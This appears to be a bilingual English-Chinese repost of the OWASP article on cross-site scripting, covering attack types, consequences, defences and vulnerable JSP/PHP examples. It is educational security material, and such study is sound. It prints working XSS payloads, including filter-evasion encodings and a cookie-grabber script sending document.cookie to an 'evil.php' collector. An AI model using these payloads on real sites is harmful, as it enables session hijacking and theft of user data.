Cross-site Scripting (XSS)

Overview

Cross-Site Scripting (XSS) attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

跨站脚本攻击时一种典型的注入问题:恶意脚本被插入正常的可信的网站中。当攻击者将恶意代码(通常为浏览器端脚本)通过网络应用程序发送给其他终端用户时会出现跨站脚本攻击。这种能够使攻击者成功进行攻击的漏洞广泛存在于网络应用程序中,这些网络应用程序多存在对用户的输入不经过验证或者重编码就直接根据输入生成输出的问题。

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page. For more details on the different types of XSS flaws, see: Types of Cross-Site Scripting.

攻击者可以使用跨站脚本攻击发送恶意脚本到正常用户。终端用户的浏览器不能判断脚本是恶意的,因而直接执行脚本。因为浏览器误认为脚本来自于可信源,所以恶意脚本可以访问用户保存的或网站需要的任何cookies、session tokens和其他敏感信息。这些脚本甚至会重写网页内容。

Related Security Activities

How to Avoid Cross-site scripting Vulnerabilities

See the XSS (Cross Site Scripting) Prevention Cheat Sheet

See the Abridged XSS Prevention Cheat Sheet

See the DOM based XSS Prevention Cheat Sheet

See the OWASP Development Guide article on Phishing.

See the OWASP Development Guide article on Data Validation.

How to Review Code for Cross-site scripting Vulnerabilities

See the OWASP Code Review Guide article on Reviewing Code for Cross-site scripting Vulnerabilities.

How to Test for Cross-site scripting Vulnerabilities

See the latest OWASP Testing Guide article on how to test for the various kinds of XSS vulnerabilities.

Description

Cross-Site Scripting (XSS) attacks occur when:

  1. Data enters a Web application through an untrusted source, most frequently a web request.
  2. The data is included in dynamic content that is sent to a web user without being validated for malicious script.

跨站脚本攻击发生的情况:

   1、进入网络应用程序的数据多来不可信源,多为网页请求

   2、数据没有被验证是否为恶意代码直接被包含于动态内容中发送给网络用户

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

发送到web浏览器的恶意内容多为JavaScript脚本的形式,当然也可能是HTML、Flash或者其他浏览器可以执行的其他形式的代码。基于跨站脚本的攻击方式较有限,但是跨站脚本可以将cookies或者其他session等隐私数据发送给攻击者,甚至将受害者重定向至攻击者控制的网页内容中,或者在有漏洞的网站的掩护下对用户的机器进行其他恶意的操作。

Stored and Reflected XSS Attacks

XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called DOM Based XSS that is discussed seperatelyhere.

跨站脚本攻击大概被分为两类:存储和反射。第三种基于跨站脚本的DOM(https://www.owasp.org/index.php/DOM_Based_XSS )较少被人知道。

Stored XSS Attacks

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.

存储型跨站脚本攻击多是将注入的脚本永久的保存在目标服务器上(如保存在数据库中、消息论坛、访问日志或者注释区域等)。受害者在请求存储信息时会从服务器获得这些恶意脚本。存储型跨站脚本也被称为持续的或者Type-I 跨站脚本

Reflected XSS Attacks

Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

反射型攻击是指注入的脚本可以从服务器发生出去,如错误消息框、查询结果或者其他针对请求的响应(这些请求中包含了部分或者全部输入)。当用户被误导点击了恶意链接、提交了特定的伪造表单或者浏览了恶意网址,那么恶意代码就会传输至网络服务器,然后反射到用户浏览器。因为代码来自可信服务器,所以浏览器会执行这些恶意代码。反射跨站脚本又被称为非持续性的或者Type-II 跨站脚本

Other Types of XSS Vulnerabilities

In addition to Stored and Reflected XSS, another type of XSS, DOM Based XSS was identified by Amit Klein in 2005. OWASP recommends the XSS categorization as described in the OWASP Article:Types of Cross-Site Scripting, which covers all these XSS terms, organizing them into a matrix of Stored vs. Reflected XSS and Server vs. Client XSS, where DOM Based XSS is a subset of Client XSS.

2005年Amit Klein提出了DOM Based XSS。在OWASP的分类中,DOM Based XSS属于Client XSS的子类。

XSS Attack Consequences

The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM Based). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.

无论存储型还是反射型或者DOM Based的跨站脚本攻击产生的影响都是一样的。不同之处只是载荷到达服务器的方式。不要傻傻的认为只读或者小册子网站就没有漏洞可以导致严重的反射型跨站脚本攻击。跨站脚本可以给终端用户导致一系列的问题,严重程度从弹窗等令人烦恼的小事到完全控制账户等。最严重的跨站脚本攻击是泄露用户的会话cookies,使攻击者劫持用户会话并控制账户。其他影响包括泄露终端用户文件、安装特洛伊木马程序、重定向用户到其他页面或者网站或者修改已有页面的内容。跨站脚本漏洞可以使攻击者修改数据影响公司股票进而降低在客户中的信誉。跨站脚本攻击可以在药物网站上修改药物的使用剂量导致用药过量等问题。

How to Determine If You Are Vulnerable

XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.

跨站脚本漏洞很难在网络应用程序中识别并移除。最好的方法是浏览代码查找从HTTP请求中获取信息产生HTML输出的地方。注意:有多种HTML标签可以传送JavaScript恶意脚本。Nessus 、Nikto和其他一些工具可以扫描网站发现这些漏洞,但是仅能扫描程序的表面问题。如果网络应用程序的一部分存在问题,那么网站在很大可能上还存在其他问题。

How to Protect Yourself

The primary defenses against XSS are described in the OWASP XSS Prevention Cheat Sheet.

OWASP XSS Prevention Cheat Sheet中有对跨站脚本基本防御的描述。

Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.

当然,在所有网络服务器上关闭HTTP TRACE支持是很重要。攻击者可以使用Javascript窃取cookie信息即使document.cookie被关闭或者客户端不支持cookie。当用户在论坛中放置一个恶意脚本,而另外一个用户点击了这个链接后,触发一个异步的HTTP Trace调用从服务器上收集用户的cookie,然后将这些cookie发送到恶意服务器上,这样攻击者就可以实现一次会话劫持攻击。这一点可以通过关闭或者移除所有网络服务器的HTTP TRACE功能来得到缓解。

The OWASP ESAPI project has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the OWASP WebGoat Project training application has lessons on Cross-Site Scripting and data encoding.

OWASP ESAPI project已经研发出一系列的可复用的安全组件(包括验证、防止参数篡改的过滤例程和跨站脚本攻击的注入防御),支持多种语言。

Alternate XSS Syntax

XSS using Script in Attributes

XSS attacks may be conducted without using <script></script> tags. Other tags will do exactly the same thing, for example:

跨站脚本攻击可以不用<script></script>标签进行,其他的标签如下:

<body οnlοad=alert('test1')>

or other attributes like: onmouseover, onerror.

onmouseover

<b οnmοuseοver=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" οnerrοr=alert(document.cookie);>
XSS using Script Via Encoded URI Schemes

If we need to hide against web application filters we may try to encode string characters, e.g.: a=&#X41 (UTF-8) and use it in IMG tag:

<IMG SRC=j&#X41vascript:alert('test2')>

There are many different UTF-8 encoding notations what give us even more possibilities.

XSS using code encoding

We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

These and others examples can be found at the OWASP XSS Filter Evasion Cheat Sheet which is a true encyclopedia of the alternate XSS syntax attack.


Examples

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.

当恶意用户向可信网站发送不受管理的信息,其他用户访问这些信息时易导致跨站脚本攻击。

The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality.

最普遍的例子可以在网站的公示牌中发现,公示牌基于邮件列表功能提供网页。

Example 1

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

	<% String eid = request.getParameter("eid"); %> 
	...
	Employee ID: <%= eid %>

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

如果eid仅包含文字数字文本,那么这段代码是可以正常运行的。如果eid中包含元字符或者源代码,那么在显示HTTP请求时,这段代码会被web浏览器执行。

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

原本这个不像是一个漏洞,毕竟谁会输入一个URL使其在自己机器上运行恶意代码呢?真正的危险是攻击者可以创建一个恶意URL,然后使用e-mail或者社会工程学诱惑受害者至这个URL,当受害者点击这个链接时,在他们不知情的情况下恶意代码就通过有漏洞的网络应用程序反射到用户的机器上。利用该网络应用程序漏洞的机制即是反射型跨站脚本。

Example 2

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

 
	<%... 
	 Statement stmt = conn.createStatement();
	 ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
	 if (rs != null) {
	  rs.next(); 
	  String name = rs.getString("name");
	%>
	
	Employee Name: <%= name %>

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

如示例1,当name的值正常的情况下,代码是可以正确运行的,但是对不是正常值的情况没有做任何防御。另外,因为name的值从数据库(而数据库的内容是由应用程序管理的)获取,那么这个代码出现问题的可能性不大。但是,如果这个name字段的值一开始来自用户输入数据,那么数据库就成了恶意代码的渠道。如果缺少对数据库存储数据的输入验证,那么攻击者就可以在用户的web浏览器中执行恶意命令。这种类型的利用即是存储型跨站脚本攻击,这种攻击比较隐蔽,因为这种间接的数据存储使其很难被识别为威胁,从而增加了攻击者攻击多个用户的可能性。该类型的跨站脚本起源于针对网站游客的留言薄,攻击者在他们的留言项中写入Javascript,然后其他的后续的浏览者浏览这个页面就会执行恶意代码。

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

正如样例所示,跨站脚本漏洞可以由对HTTP请求中的数据缺少验证的代码导致。跨站脚本攻击到达受害者主要有三个因素:

  • As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.
  • 如样例1所示,数据从HTTP请求中读取,并直接反射至HTTP响应中。当攻击者利用一个用户向有漏洞的网站提供恶意的内容,恶意的内容反射至用户并在浏览器中执行,就形成了反射型跨站脚本攻击。常见的传送恶意代码的机制是作为公开的URL的一个参数或者或者e-mail直接发送给受害者。以这种方式构造的URL多为钓鱼网站的核心,攻击者主要说服受害者访问有漏洞的网站的URL。当网站将恶意代码反射给用户,这些代码就会运行并收集隐私信息(如隐藏在会话中的cookie信息)发送给攻击者或者进行其他恶意行为。
  • As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
  • 如样例2所示,应用程序将恶意代码存储在数据库或者其他可信的数据存储源中。恶意数据会从数据库等可信源中读入应用程序并包含在动态内容中。存储型跨站脚本攻击多发生在攻击者将恶意代码存入数据存储中,并随后读取并保存在动态内容中。从攻击者角度分析,理想的放置恶意代码的区域是可以显示给所有的用户或者感兴趣的用户的地方。感兴趣的用户多为较高的权限并可与敏感数据进行交互,这些信息在攻击者看来是非常有价值的。如果这些感兴趣的用户可以执行恶意代码,那么攻击者可以以这些用户的身份提升权限并以这些用户的身访问敏感信息。
  • A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
  • 应用程序输出数据的输出源(数据库或者其他数据存储源)中存有恶意数据,并且这些恶意数据作为可信数据读至程序并写入动态内容中。

Attack Examples

Example 1 : Cookie Grabber

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

Error Page Example

Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error page. We may use the code below as an example to inform user about what specific page is missing:

<html>
<body>

<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>

Let's see how it works:

http://testsite.test/file_which_not_exist

In response we get:

Not found: /file_which_not_exist

Now we will try to force the error page to include our code:

http://testsite.test/<script>alert("TEST");</script>

The result is:

Not found: / (but with JavaScript code <script>alert("TEST");</script>)

We have successfully injected the code, our XSS! What does it mean? For example, that we may use this flaw to try to steal a user's session cookie.


Related Attacks

Related Vulnerabilities

Related Controls

References


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值